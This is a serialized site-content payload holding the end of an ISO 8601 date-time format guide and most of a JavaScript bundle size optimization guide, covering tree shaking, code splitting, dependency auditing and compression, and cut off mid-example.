ambiguous — local to whom?",[16,132516,132517,132518,132520],{},"Avoid offsetless timestamps in APIs and databases. Always include ",[143,132519,22039],{}," or an explicit offset.",[33,132522,132524],{"id":132523},"timezone-conversion-example","Timezone conversion example",[135,132526,132529],{"className":132527,"code":132528,"language":140},[138],"2026-05-28T14:30:00+02:00  (Berlin, summer)\n→ Subtract offset: 14:30 - 02:00 = 12:30\n→ UTC equivalent: 2026-05-28T12:30:00Z\n",[143,132530,132528],{"__ignoreMap":141},[11,132532,132534],{"id":132533},"duration-format","Duration Format",[16,132536,132537,132538,132540],{},"ISO 8601 also defines a duration format using the ",[143,132539,22671],{}," prefix:",[193,132542,132543,132551],{},[196,132544,132545],{},[199,132546,132547,132549],{},[202,132548,18804],{},[202,132550,4228],{},[211,132552,132553,132561,132569,132577],{},[199,132554,132555,132558],{},[216,132556,132557],{},"P1Y2M3D",[216,132559,132560],{},"1 year, 2 months, 3 days",[199,132562,132563,132566],{},[216,132564,132565],{},"PT12H30M",[216,132567,132568],{},"12 hours, 30 minutes",[199,132570,132571,132574],{},[216,132572,132573],{},"P1Y2M3DT12H30M15S",[216,132575,132576],{},"Combined date and time duration",[199,132578,132579,132582],{},[216,132580,132581],{},"P1W",[216,132583,132584],{},"1 week",[16,132586,421,132587,132589,132590,132593,132594,132597],{},[143,132588,23169],{}," separates date components from time components. Note that ",[143,132591,132592],{},"P1M"," is one month (not one minute), while ",[143,132595,132596],{},"PT1M"," is one minute.",[11,132599,10393],{"id":10392},[33,132601,132603],{"id":132602},"parsing-inconsistencies","Parsing inconsistencies",[16,132605,132606,132607,1856,132610,132613],{},"Not all ISO 8601 parsers handle all variations. JavaScript's ",[143,132608,132609],{},"Date.parse()",[143,132611,132612],{},"new Date()"," accept many formats but behave inconsistently across engines:",[135,132615,132617],{"className":1607,"code":132616,"language":1609,"meta":141,"style":141},"\u002F\u002F These work in most engines:\nnew Date('2026-05-28T14:30:00Z')       \u002F\u002F OK — UTC\nnew Date('2026-05-28T14:30:00+02:00')  \u002F\u002F OK — with offset\n\n\u002F\u002F This is treated as LOCAL time in some engines, UTC in others:\nnew Date('2026-05-28T14:30:00')        \u002F\u002F Dangerous — no offset\n\n\u002F\u002F Date-only strings are treated as UTC:\nnew Date('2026-05-28')                 \u002F\u002F Midnight UTC, not local\n",[143,132618,132619,132624,132640,132656,132660,132665,132681,132685,132690],{"__ignoreMap":141},[1560,132620,132621],{"class":1562,"line":1563},[1560,132622,132623],{"class":1649},"\u002F\u002F These work in most engines:\n",[1560,132625,132626,132628,132630,132632,132635,132637],{"class":1562,"line":337},[1560,132627,20807],{"class":1669},[1560,132629,87644],{"class":1566},[1560,132631,1688],{"class":1570},[1560,132633,132634],{"class":5634},"'2026-05-28T14:30:00Z'",[1560,132636,38678],{"class":1570},[1560,132638,132639],{"class":1649},"\u002F\u002F OK — UTC\n",[1560,132641,132642,132644,132646,132648,132651,132653],{"class":1562,"line":343},[1560,132643,20807],{"class":1669},[1560,132645,87644],{"class":1566},[1560,132647,1688],{"class":1570},[1560,132649,132650],{"class":5634},"'2026-05-28T14:30:00+02:00'",[1560,132652,10060],{"class":1570},[1560,132654,132655],{"class":1649},"\u002F\u002F OK — with offset\n",[1560,132657,132658],{"class":1562,"line":365},[1560,132659,1702],{"emptyLinePlaceholder":363},[1560,132661,132662],{"class":1562,"line":889},[1560,132663,132664],{"class":1649},"\u002F\u002F This is treated as LOCAL time in some engines, UTC in others:\n",[1560,132666,132667,132669,132671,132673,132676,132678],{"class":1562,"line":1710},[1560,132668,20807],{"class":1669},[1560,132670,87644],{"class":1566},[1560,132672,1688],{"class":1570},[1560,132674,132675],{"class":5634},"'2026-05-28T14:30:00'",[1560,132677,101114],{"class":1570},[1560,132679,132680],{"class":1649},"\u002F\u002F Dangerous — no offset\n",[1560,132682,132683],{"class":1562,"line":1717},[1560,132684,1702],{"emptyLinePlaceholder":363},[1560,132686,132687],{"class":1562,"line":1747},[1560,132688,132689],{"class":1649},"\u002F\u002F Date-only strings are treated as UTC:\n",[1560,132691,132692,132694,132696,132698,132701,132704],{"class":1562,"line":2507},[1560,132693,20807],{"class":1669},[1560,132695,87644],{"class":1566},[1560,132697,1688],{"class":1570},[1560,132699,132700],{"class":5634},"'2026-05-28'",[1560,132702,132703],{"class":1570},")                 ",[1560,132705,132706],{"class":1649},"\u002F\u002F Midnight UTC, not local\n",[16,132708,132709,132710,132712],{},"The safest approach: always serialize with ",[143,132711,22039],{}," or an explicit offset, and always use a dedicated date library (date-fns, Luxon, Day.js) for parsing.",[33,132714,89138],{"id":132715},"leap-seconds",[16,132717,132718,132719,132721,132722,132725,132726,132728],{},"ISO 8601 allows the second value ",[143,132720,18333],{}," to represent a positive leap second: ",[143,132723,132724],{},"23:59:60Z",". Most Unix systems smooth leap seconds across the day rather than exposing them, so timestamps with ",[143,132727,18333],{}," seconds are rarely generated but should be handled gracefully by parsers.",[33,132730,132732],{"id":132731},"week-date-edge-cases","Week date edge cases",[16,132734,132735],{},"Week dates follow ISO week numbering, where weeks start on Monday and the first week of the year contains the first Thursday. This means December 29 may belong to the first week of the next year, and January 1–3 may belong to the last week of the previous year.",[11,132737,132739],{"id":132738},"iso-8601-in-practice","ISO 8601 in Practice",[193,132741,132742,132752],{},[196,132743,132744],{},[199,132745,132746,132748,132750],{},[202,132747,2973],{},[202,132749,37510],{},[202,132751,133],{},[211,132753,132754,132766,132779,132792,132805],{},[199,132755,132756,132759,132762],{},[216,132757,132758],{},"REST API responses",[216,132760,132761],{},"ISO 8601 with Z",[216,132763,132764],{},[143,132765,132289],{},[199,132767,132768,132771,132774],{},[216,132769,132770],{},"Database columns (PostgreSQL)",[216,132772,132773],{},"TIMESTAMPTZ stores UTC",[216,132775,132776],{},[143,132777,132778],{},"2026-05-28 14:30:00+00",[199,132780,132781,132784,132787],{},[216,132782,132783],{},"Log files",[216,132785,132786],{},"ISO 8601 with milliseconds",[216,132788,132789],{},[143,132790,132791],{},"2026-05-28T14:30:00.123Z",[199,132793,132794,132797,132800],{},[216,132795,132796],{},"File naming",[216,132798,132799],{},"Compact, no colons",[216,132801,132802],{},[143,132803,132804],{},"20260528T143000Z",[199,132806,132807,132810,132813],{},[216,132808,132809],{},"HTTP headers (If-Modified-Since)",[216,132811,132812],{},"IMF fixdate (RFC 7231)",[216,132814,132815],{},[143,132816,132817],{},"Thu, 28 May 2026 14:30:00 GMT",[11,132819,1355],{"id":1354},[41,132821,132822,132825,132831,132839,132845],{},[44,132823,132824],{},"ISO 8601 orders components from most to least significant, making string sort match chronological sort.",[44,132826,132827,132828,132830],{},"Always include a timezone indicator (",[143,132829,22039],{}," or offset) — offsetless timestamps are ambiguous.",[44,132832,1388,132833,132835,132836,132838],{},[143,132834,22671],{}," for durations and ",[143,132837,23169],{}," to separate date from time components within a duration.",[44,132840,132841,132842,132844],{},"Avoid relying on JavaScript's native ",[143,132843,87683],{}," parser for ISO 8601; use a dedicated library.",[44,132846,132847],{},"Compact formats without delimiters are valid but reduce readability.",[11,132849,286],{"id":285},[16,132851,132852,132853,132855],{},"Need to convert between ISO 8601 formats and Unix timestamps? The ",[98,132854,623],{"href":622}," handles both directions with support for UTC offsets and fractional seconds.",[2043,132857,132858],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":132860},[132861,132866,132869,132870,132875,132876,132877],{"id":132293,"depth":337,"text":132294,"children":132862},[132863,132864,132865],{"id":88150,"depth":343,"text":87683},{"id":132387,"depth":343,"text":132388},{"id":132472,"depth":343,"text":132473},{"id":132490,"depth":337,"text":132491,"children":132867},[132868],{"id":132523,"depth":343,"text":132524},{"id":132533,"depth":337,"text":132534},{"id":10392,"depth":337,"text":10393,"children":132871},[132872,132873,132874],{"id":132602,"depth":343,"text":132603},{"id":132715,"depth":343,"text":89138},{"id":132731,"depth":343,"text":132732},{"id":132738,"depth":337,"text":132739},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Complete reference for the international date-time format used in APIs and databases.",{"immutable":363},"\u002Fguides\u002Fiso-8601-format-guide",{"title":132281,"description":132878},"guides\u002Fiso-8601-format-guide","Iu6xNyDbhFxrn6uAD-EodTf2ZO-tlDvI5J8qA-BSJPg",{"id":132885,"title":132886,"body":132887,"date":2070,"description":133844,"extension":361,"meta":133845,"navigation":363,"path":133846,"readingTime":1717,"seo":133847,"stem":133848,"__hash__":133849},"guides\u002Fguides\u002Fjavascript-bundle-size-optimization.md","JavaScript Bundle Size Optimization: From Analysis to Action",{"type":8,"value":132888,"toc":133833},[132889,132892,132896,132899,132957,132960,132964,132967,132972,133027,133032,133049,133099,133105,133125,133128,133132,133143,133148,133165,133266,133269,133330,133336,133340,133346,133424,133427,133536,133539,133543,133546,133604,133607,133701,133704,133708,133711,133740,133743,133746,133770,133773,133775,133798,133800,133820,133822,133830],[16,132890,132891],{},"JavaScript bundle size directly impacts page load performance. Every kilobyte of JavaScript must be downloaded, parsed, compiled, and executed — and the cost compounds on mobile devices with slower CPUs and networks. This guide covers practical strategies to shrink your bundles, from quick wins to architectural changes.",[11,132893,132895],{"id":132894},"why-bundle-size-matters","Why Bundle Size Matters",[16,132897,132898],{},"JavaScript is the most expensive resource on the web. Unlike images, which decode progressively, JavaScript blocks the main thread during parsing and compilation.",[193,132900,132901,132914],{},[196,132902,132903],{},[199,132904,132905,132908,132911],{},[202,132906,132907],{},"Resource Type",[202,132909,132910],{},"Processing Cost",[202,132912,132913],{},"Typical Size",[211,132915,132916,132926,132936,132946],{},[199,132917,132918,132920,132923],{},[216,132919,124621],{},[216,132921,132922],{},"Parse + render",[216,132924,132925],{},"10–50 KB",[199,132927,132928,132930,132933],{},[216,132929,104808],{},[216,132931,132932],{},"Parse + style calculation",[216,132934,132935],{},"20–100 KB",[199,132937,132938,132940,132943],{},[216,132939,9860],{},[216,132941,132942],{},"Parse + compile + execute",[216,132944,132945],{},"100–500 KB+",[199,132947,132948,132951,132954],{},[216,132949,132950],{},"Images",[216,132952,132953],{},"Decode + paint",[216,132955,132956],{},"50–500 KB+",[16,132958,132959],{},"A 200 KB JavaScript bundle takes roughly 5–10 seconds to become interactive on a mid-range mobile device. The same 200 KB as a JPEG appears in under a second. Reducing bundle size is not optional — it is a performance requirement.",[11,132961,132963],{"id":132962},"analyze-your-bundle-first","Analyze Your Bundle First",[16,132965,132966],{},"Before optimizing, measure. You cannot shrink what you cannot see.",[16,132968,132969],{},[47,132970,132971],{},"Webpack Bundle Analyzer:",[135,132973,132975],{"className":1607,"code":132974,"language":1609,"meta":141,"style":141},"const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin\n\nmodule.exports = {\n  plugins: [new BundleAnalyzerPlugin()]\n}\n",[143,132976,132977,132996,133000,133012,133023],{"__ignoreMap":141},[1560,132978,132979,132981,132984,132986,132988,132990,132993],{"class":1562,"line":1563},[1560,132980,8180],{"class":1669},[1560,132982,132983],{"class":1576}," BundleAnalyzerPlugin",[1560,132985,8186],{"class":1669},[1560,132987,20658],{"class":1566},[1560,132989,1688],{"class":1570},[1560,132991,132992],{"class":5634},"'webpack-bundle-analyzer'",[1560,132994,132995],{"class":1570},").BundleAnalyzerPlugin\n",[1560,132997,132998],{"class":1562,"line":337},[1560,132999,1702],{"emptyLinePlaceholder":363},[1560,133001,133002,133004,133006,133008,133010],{"class":1562,"line":343},[1560,133003,11885],{"class":1576},[1560,133005,468],{"class":1570},[1560,133007,11890],{"class":1576},[1560,133009,8186],{"class":1669},[1560,133011,1571],{"class":1570},[1560,133013,133014,133016,133018,133020],{"class":1562,"line":365},[1560,133015,20804],{"class":1570},[1560,133017,20807],{"class":1669},[1560,133019,132983],{"class":1566},[1560,133021,133022],{"class":1570},"()]\n",[1560,133024,133025],{"class":1562,"line":889},[1560,133026,1585],{"class":1570},[16,133028,133029],{},[47,133030,133031],{},"Vite (Rollup Visualizer):",[135,133033,133035],{"className":6951,"code":133034,"language":6953,"meta":141,"style":141},"npm install rollup-plugin-visualizer --save-dev\n",[143,133036,133037],{"__ignoreMap":141},[1560,133038,133039,133041,133043,133046],{"class":1562,"line":1563},[1560,133040,41383],{"class":1566},[1560,133042,9023],{"class":5634},[1560,133044,133045],{"class":5634}," rollup-plugin-visualizer",[1560,133047,133048],{"class":1576}," --save-dev\n",[135,133050,133052],{"className":1607,"code":133051,"language":1609,"meta":141,"style":141},"import { visualizer } from 'rollup-plugin-visualizer'\n\nexport default defineConfig({\n  plugins: [visualizer({ open: true })]\n})\n",[143,133053,133054,133066,133070,133080,133095],{"__ignoreMap":141},[1560,133055,133056,133058,133061,133063],{"class":1562,"line":1563},[1560,133057,8162],{"class":1669},[1560,133059,133060],{"class":1570}," { visualizer } ",[1560,133062,8168],{"class":1669},[1560,133064,133065],{"class":5634}," 'rollup-plugin-visualizer'\n",[1560,133067,133068],{"class":1562,"line":337},[1560,133069,1702],{"emptyLinePlaceholder":363},[1560,133071,133072,133074,133076,133078],{"class":1562,"line":343},[1560,133073,9187],{"class":1669},[1560,133075,11837],{"class":1669},[1560,133077,17522],{"class":1566},[1560,133079,17525],{"class":1570},[1560,133081,133082,133084,133087,133090,133092],{"class":1562,"line":365},[1560,133083,20804],{"class":1570},[1560,133085,133086],{"class":1566},"visualizer",[1560,133088,133089],{"class":1570},"({ open: ",[1560,133091,20533],{"class":1576},[1560,133093,133094],{"class":1570}," })]\n",[1560,133096,133097],{"class":1562,"line":889},[1560,133098,1626],{"class":1570},[16,133100,133101,133104],{},[47,133102,133103],{},"Source Map Explorer"," (works with any bundler):",[135,133106,133108],{"className":6951,"code":133107,"language":6953,"meta":141,"style":141},"npx source-map-explorer dist\u002Fassets\u002F*.js\n",[143,133109,133110],{"__ignoreMap":141},[1560,133111,133112,133114,133117,133120,133122],{"class":1562,"line":1563},[1560,133113,11016],{"class":1566},[1560,133115,133116],{"class":5634}," source-map-explorer",[1560,133118,133119],{"class":5634}," dist\u002Fassets\u002F",[1560,133121,8069],{"class":1576},[1560,133123,133124],{"class":5634},".js\n",[16,133126,133127],{},"Look for: large dependencies you did not expect, duplicate versions of the same package, and modules you import but barely use.",[11,133129,133131],{"id":133130},"tree-shaking-and-dead-code-elimination","Tree Shaking and Dead Code Elimination",[16,133133,133134,133135,133138,133139,133142],{},"Tree shaking removes exported code that no other module imports. It relies on ES module static imports (",[143,133136,133137],{},"import { foo } from 'bar'",") — CommonJS ",[143,133140,133141],{},"require()"," calls cannot be statically analyzed.",[16,133144,133145],{},[47,133146,133147],{},"Enable tree shaking:",[41,133149,133150,133153,133162],{},[44,133151,133152],{},"Use ES module syntax consistently",[44,133154,133155,133156,98763,133159,133161],{},"Mark packages with ",[143,133157,133158],{},"\"sideEffects\": false",[143,133160,37590],{}," (only if true)",[44,133163,133164],{},"Avoid barrel files that re-export everything from a module",[135,133166,133168],{"className":1607,"code":133167,"language":1609,"meta":141,"style":141},"\u002F\u002F BAD: imports entire lodash (72 KB gzipped)\nimport _ from 'lodash'\nconst result = _.debounce(fn, 300)\n\n\u002F\u002F GOOD: imports only debounce (~1 KB gzipped)\nimport debounce from 'lodash\u002Fdebounce'\nconst result = debounce(fn, 300)\n\n\u002F\u002F BEST: use lodash-es for tree shaking\nimport { debounce } from 'lodash-es'\n",[143,133169,133170,133175,133186,133207,133211,133216,133228,133245,133249,133254],{"__ignoreMap":141},[1560,133171,133172],{"class":1562,"line":1563},[1560,133173,133174],{"class":1649},"\u002F\u002F BAD: imports entire lodash (72 KB gzipped)\n",[1560,133176,133177,133179,133182,133184],{"class":1562,"line":337},[1560,133178,8162],{"class":1669},[1560,133180,133181],{"class":1570}," _ ",[1560,133183,8168],{"class":1669},[1560,133185,38646],{"class":5634},[1560,133187,133188,133190,133192,133194,133197,133200,133203,133205],{"class":1562,"line":343},[1560,133189,8180],{"class":1669},[1560,133191,80830],{"class":1576},[1560,133193,8186],{"class":1669},[1560,133195,133196],{"class":1570}," _.",[1560,133198,133199],{"class":1566},"debounce",[1560,133201,133202],{"class":1570},"(fn, ",[1560,133204,44009],{"class":1576},[1560,133206,8252],{"class":1570},[1560,133208,133209],{"class":1562,"line":365},[1560,133210,1702],{"emptyLinePlaceholder":363},[1560,133212,133213],{"class":1562,"line":889},[1560,133214,133215],{"class":1649},"\u002F\u002F GOOD: imports only debounce (~1 KB gzipped)\n",[1560,133217,133218,133220,133223,133225],{"class":1562,"line":1710},[1560,133219,8162],{"class":1669},[1560,133221,133222],{"class":1570}," debounce ",[1560,133224,8168],{"class":1669},[1560,133226,133227],{"class":5634}," 'lodash\u002Fdebounce'\n",[1560,133229,133230,133232,133234,133236,133239,133241,133243],{"class":1562,"line":1717},[1560,133231,8180],{"class":1669},[1560,133233,80830],{"class":1576},[1560,133235,8186],{"class":1669},[1560,133237,133238],{"class":1566}," debounce",[1560,133240,133202],{"class":1570},[1560,133242,44009],{"class":1576},[1560,133244,8252],{"class":1570},[1560,133246,133247],{"class":1562,"line":1747},[1560,133248,1702],{"emptyLinePlaceholder":363},[1560,133250,133251],{"class":1562,"line":2507},[1560,133252,133253],{"class":1649},"\u002F\u002F BEST: use lodash-es for tree shaking\n",[1560,133255,133256,133258,133261,133263],{"class":1562,"line":2524},[1560,133257,8162],{"class":1669},[1560,133259,133260],{"class":1570}," { debounce } ",[1560,133262,8168],{"class":1669},[1560,133264,133265],{"class":5634}," 'lodash-es'\n",[16,133267,133268],{},"Barrel files (index.js that re-exports everything) are a common tree-shaking killer:",[135,133270,133272],{"className":1607,"code":133271,"language":1609,"meta":141,"style":141},"\u002F\u002F apis\u002Findex.js — forces bundler to include ALL APIs\nexport { Users } from '.\u002Fusers'\nexport { Products } from '.\u002Fproducts'\nexport { Orders } from '.\u002Forders'\nexport { Analytics } from '.\u002Fanalytics'  \u002F\u002F rarely used but always bundled\n",[143,133273,133274,133279,133291,133303,133315],{"__ignoreMap":141},[1560,133275,133276],{"class":1562,"line":1563},[1560,133277,133278],{"class":1649},"\u002F\u002F apis\u002Findex.js — forces bundler to include ALL APIs\n",[1560,133280,133281,133283,133286,133288],{"class":1562,"line":337},[1560,133282,9187],{"class":1669},[1560,133284,133285],{"class":1570}," { Users } ",[1560,133287,8168],{"class":1669},[1560,133289,133290],{"class":5634}," '.\u002Fusers'\n",[1560,133292,133293,133295,133298,133300],{"class":1562,"line":343},[1560,133294,9187],{"class":1669},[1560,133296,133297],{"class":1570}," { Products } ",[1560,133299,8168],{"class":1669},[1560,133301,133302],{"class":5634}," '.\u002Fproducts'\n",[1560,133304,133305,133307,133310,133312],{"class":1562,"line":365},[1560,133306,9187],{"class":1669},[1560,133308,133309],{"class":1570}," { Orders } ",[1560,133311,8168],{"class":1669},[1560,133313,133314],{"class":5634}," '.\u002Forders'\n",[1560,133316,133317,133319,133322,133324,133327],{"class":1562,"line":889},[1560,133318,9187],{"class":1669},[1560,133320,133321],{"class":1570}," { Analytics } ",[1560,133323,8168],{"class":1669},[1560,133325,133326],{"class":5634}," '.\u002Fanalytics'",[1560,133328,133329],{"class":1649},"  \u002F\u002F rarely used but always bundled\n",[16,133331,133332,133333,468],{},"Import directly from the sub-module instead: ",[143,133334,133335],{},"import { Users } from '.\u002Fapis\u002Fusers'",[11,133337,133339],{"id":133338},"code-splitting-and-dynamic-imports","Code Splitting and Dynamic Imports",[16,133341,133342,133343,8037],{},"Code splitting breaks your bundle into smaller chunks loaded on demand. The simplest method is dynamic ",[143,133344,133345],{},"import()",[135,133347,133349],{"className":1607,"code":133348,"language":1609,"meta":141,"style":141},"\u002F\u002F Loaded immediately — part of the main bundle\nimport { navigationInit } from '.\u002Fnavigation'\n\n\u002F\u002F Loaded only when the user opens settings\nasync function openSettings() {\n  const { SettingsPanel } = await import('.\u002Fsettings-panel.vue')\n  render(SettingsPanel)\n}\n",[143,133350,133351,133356,133368,133372,133377,133388,133412,133420],{"__ignoreMap":141},[1560,133352,133353],{"class":1562,"line":1563},[1560,133354,133355],{"class":1649},"\u002F\u002F Loaded immediately — part of the main bundle\n",[1560,133357,133358,133360,133363,133365],{"class":1562,"line":337},[1560,133359,8162],{"class":1669},[1560,133361,133362],{"class":1570}," { navigationInit } ",[1560,133364,8168],{"class":1669},[1560,133366,133367],{"class":5634}," '.\u002Fnavigation'\n",[1560,133369,133370],{"class":1562,"line":343},[1560,133371,1702],{"emptyLinePlaceholder":363},[1560,133373,133374],{"class":1562,"line":365},[1560,133375,133376],{"class":1649},"\u002F\u002F Loaded only when the user opens settings\n",[1560,133378,133379,133381,133383,133386],{"class":1562,"line":889},[1560,133380,82166],{"class":1669},[1560,133382,38314],{"class":1669},[1560,133384,133385],{"class":1566}," openSettings",[1560,133387,8654],{"class":1570},[1560,133389,133390,133392,133394,133397,133399,133401,133403,133405,133407,133410],{"class":1562,"line":1710},[1560,133391,28057],{"class":1669},[1560,133393,1658],{"class":1570},[1560,133395,133396],{"class":1576},"SettingsPanel",[1560,133398,49704],{"class":1570},[1560,133400,7297],{"class":1669},[1560,133402,28065],{"class":1669},[1560,133404,38276],{"class":1669},[1560,133406,1688],{"class":1570},[1560,133408,133409],{"class":5634},"'.\u002Fsettings-panel.vue'",[1560,133411,8252],{"class":1570},[1560,133413,133414,133417],{"class":1562,"line":1717},[1560,133415,133416],{"class":1566},"  render",[1560,133418,133419],{"class":1570},"(SettingsPanel)\n",[1560,133421,133422],{"class":1562,"line":1747},[1560,133423,1585],{"class":1570},[16,133425,133426],{},"Route-level splitting is the most effective pattern:",[135,133428,133430],{"className":1607,"code":133429,"language":1609,"meta":141,"style":141},"\u002F\u002F Nuxt — automatic route splitting\n\u002F\u002F Each page in app\u002Fpages\u002F becomes a separate chunk\n\n\u002F\u002F Vue Router — manual route splitting\nconst routes = [\n  {\n    path: '\u002Fdashboard',\n    component: () => import('.\u002Fpages\u002FDashboard.vue')\n  },\n  {\n    path: '\u002Fsettings',\n    component: () => import('.\u002Fpages\u002FSettings.vue')\n  }\n]\n",[143,133431,133432,133437,133442,133446,133451,133462,133466,133476,133494,133498,133502,133511,133528,133532],{"__ignoreMap":141},[1560,133433,133434],{"class":1562,"line":1563},[1560,133435,133436],{"class":1649},"\u002F\u002F Nuxt — automatic route splitting\n",[1560,133438,133439],{"class":1562,"line":337},[1560,133440,133441],{"class":1649},"\u002F\u002F Each page in app\u002Fpages\u002F becomes a separate chunk\n",[1560,133443,133444],{"class":1562,"line":343},[1560,133445,1702],{"emptyLinePlaceholder":363},[1560,133447,133448],{"class":1562,"line":365},[1560,133449,133450],{"class":1649},"\u002F\u002F Vue Router — manual route splitting\n",[1560,133452,133453,133455,133458,133460],{"class":1562,"line":889},[1560,133454,8180],{"class":1669},[1560,133456,133457],{"class":1576}," routes",[1560,133459,8186],{"class":1669},[1560,133461,39111],{"class":1570},[1560,133463,133464],{"class":1562,"line":1710},[1560,133465,80605],{"class":1570},[1560,133467,133468,133471,133474],{"class":1562,"line":1717},[1560,133469,133470],{"class":1570},"    path: ",[1560,133472,133473],{"class":5634},"'\u002Fdashboard'",[1560,133475,11943],{"class":1570},[1560,133477,133478,133481,133483,133485,133487,133489,133492],{"class":1562,"line":1747},[1560,133479,133480],{"class":1566},"    component",[1560,133482,38359],{"class":1570},[1560,133484,11503],{"class":1669},[1560,133486,38276],{"class":1669},[1560,133488,1688],{"class":1570},[1560,133490,133491],{"class":5634},"'.\u002Fpages\u002FDashboard.vue'",[1560,133493,8252],{"class":1570},[1560,133495,133496],{"class":1562,"line":2507},[1560,133497,11862],{"class":1570},[1560,133499,133500],{"class":1562,"line":2524},[1560,133501,80605],{"class":1570},[1560,133503,133504,133506,133509],{"class":1562,"line":2529},[1560,133505,133470],{"class":1570},[1560,133507,133508],{"class":5634},"'\u002Fsettings'",[1560,133510,11943],{"class":1570},[1560,133512,133513,133515,133517,133519,133521,133523,133526],{"class":1562,"line":2534},[1560,133514,133480],{"class":1566},[1560,133516,38359],{"class":1570},[1560,133518,11503],{"class":1669},[1560,133520,38276],{"class":1669},[1560,133522,1688],{"class":1570},[1560,133524,133525],{"class":5634},"'.\u002Fpages\u002FSettings.vue'",[1560,133527,8252],{"class":1570},[1560,133529,133530],{"class":1562,"line":2542},[1560,133531,4959],{"class":1570},[1560,133533,133534],{"class":1562,"line":2558},[1560,133535,37203],{"class":1570},[16,133537,133538],{},"This ensures users only download code for the page they are viewing — not the entire application upfront.",[11,133540,133542],{"id":133541},"dependency-auditing","Dependency Auditing",[16,133544,133545],{},"Large dependencies are the biggest source of bundle bloat. Audit regularly:",[135,133547,133549],{"className":6951,"code":133548,"language":6953,"meta":141,"style":141},"# Find the largest packages in your bundle\nnpx bundlephobia \u003Cpackage-name>\n\n# Check for duplicate dependencies\nnpx npm-check\n\n# Analyze full bundle cost\nnpx cost-of-modules\n",[143,133550,133551,133556,133572,133576,133581,133588,133592,133597],{"__ignoreMap":141},[1560,133552,133553],{"class":1562,"line":1563},[1560,133554,133555],{"class":1649},"# Find the largest packages in your bundle\n",[1560,133557,133558,133560,133563,133565,133568,133570],{"class":1562,"line":337},[1560,133559,11016],{"class":1566},[1560,133561,133562],{"class":5634}," bundlephobia",[1560,133564,28030],{"class":1669},[1560,133566,133567],{"class":5634},"package-nam",[1560,133569,96224],{"class":1570},[1560,133571,6441],{"class":1669},[1560,133573,133574],{"class":1562,"line":343},[1560,133575,1702],{"emptyLinePlaceholder":363},[1560,133577,133578],{"class":1562,"line":365},[1560,133579,133580],{"class":1649},"# Check for duplicate dependencies\n",[1560,133582,133583,133585],{"class":1562,"line":889},[1560,133584,11016],{"class":1566},[1560,133586,133587],{"class":5634}," npm-check\n",[1560,133589,133590],{"class":1562,"line":1710},[1560,133591,1702],{"emptyLinePlaceholder":363},[1560,133593,133594],{"class":1562,"line":1717},[1560,133595,133596],{"class":1649},"# Analyze full bundle cost\n",[1560,133598,133599,133601],{"class":1562,"line":1747},[1560,133600,11016],{"class":1566},[1560,133602,133603],{"class":5634}," cost-of-modules\n",[16,133605,133606],{},"Common heavy packages and lighter alternatives:",[193,133608,133609,133624],{},[196,133610,133611],{},[199,133612,133613,133616,133619,133622],{},[202,133614,133615],{},"Heavy Package",[202,133617,133618],{},"Size (gzip)",[202,133620,133621],{},"Lighter Alternative",[202,133623,133618],{},[211,133625,133626,133645,133663,133682],{},[199,133627,133628,133633,133636,133642],{},[216,133629,133630],{},[143,133631,133632],{},"moment",[216,133634,133635],{},"67 KB",[216,133637,133638,133641],{},[143,133639,133640],{},"date-fns"," (per-function)",[216,133643,133644],{},"2–5 KB",[199,133646,133647,133652,133654,133660],{},[216,133648,133649],{},[143,133650,133651],{},"lodash",[216,133653,125861],{},[216,133655,133656,133659],{},[143,133657,133658],{},"lodash-es"," (tree-shakeable)",[216,133661,133662],{},"1–5 KB",[199,133664,133665,133670,133673,133679],{},[216,133666,133667],{},[143,133668,133669],{},"rxjs",[216,133671,133672],{},"32 KB",[216,133674,133675,133678],{},[143,133676,133677],{},"nanothrow"," or native events",[216,133680,133681],{},"\u003C1 KB",[199,133683,133684,133689,133692,133698],{},[216,133685,133686],{},[143,133687,133688],{},"axios",[216,133690,133691],{},"13 KB",[216,133693,133694,133697],{},[143,133695,133696],{},"fetch"," (native)",[216,133699,133700],{},"0 KB",[16,133702,133703],{},"Before adding a dependency, check its cost onBundlephobia. A 5 KB package that replaces ten lines of code is a bad trade.",[11,133705,133707],{"id":133706},"compression-and-caching","Compression and Caching",[16,133709,133710],{},"Smaller bundles compress better. Enable Brotli or gzip at your hosting layer:",[193,133712,133713,133723],{},[196,133714,133715],{},[199,133716,133717,133720],{},[202,133718,133719],{},"Compression",[202,133721,133722],{},"Typical JS Reduction",[211,133724,133725,133733],{},[199,133726,133727,133730],{},[216,133728,133729],{},"gzip (level 6)",[216,133731,133732],{},"65–75%",[199,133734,133735,133738],{},[216,133736,133737],{},"Brotli (level 4)",[216,133739,125974],{},[16,133741,133742],{},"Pre-compress static assets at build time to avoid runtime CPU cost. Vite and Webpack both support plugins for this.",[16,133744,133745],{},"Cache aggressively with content-based filenames:",[135,133747,133749],{"className":6417,"code":133748,"language":6419,"meta":141,"style":141},"\u003Cscript 